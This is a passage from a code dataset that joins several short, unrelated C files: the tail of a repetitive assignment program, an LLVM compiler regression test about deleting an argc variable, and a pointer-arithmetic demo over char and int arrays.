c = d;
c = d;
//40
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
//50
printf("%lld\n", c);
return 0;
}
|
the_stack_data/11074516.c
|
/* with LLVM compiled with
* assertions enabled, we hit an assert
* while deleting the argc; variable,
* because the entry block that contains
* the alloca instruction (the definition)
* is deleted earlier than the block containing
* the load (the argc; line) */
void test_assert(int);
int main(int argc, char *argv[]) {
if (argc == 0) {}
test_assert(1);
argc;
return 0;
}
|
the_stack_data/821978.c
|
#include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for(i=0; i < 5; i++) { // Iterate through int array with int_pointer
printf("[integer pointer] points to %p, which contains the integer %d\n",
int_pointer, *int_pointer);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Iterate through char array with char_pointer
printf("[char pointer] points to %p, which contains the char '%c'\n",
char_pointer, *char_pointer);
char_pointer = char_pointer + 1;
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.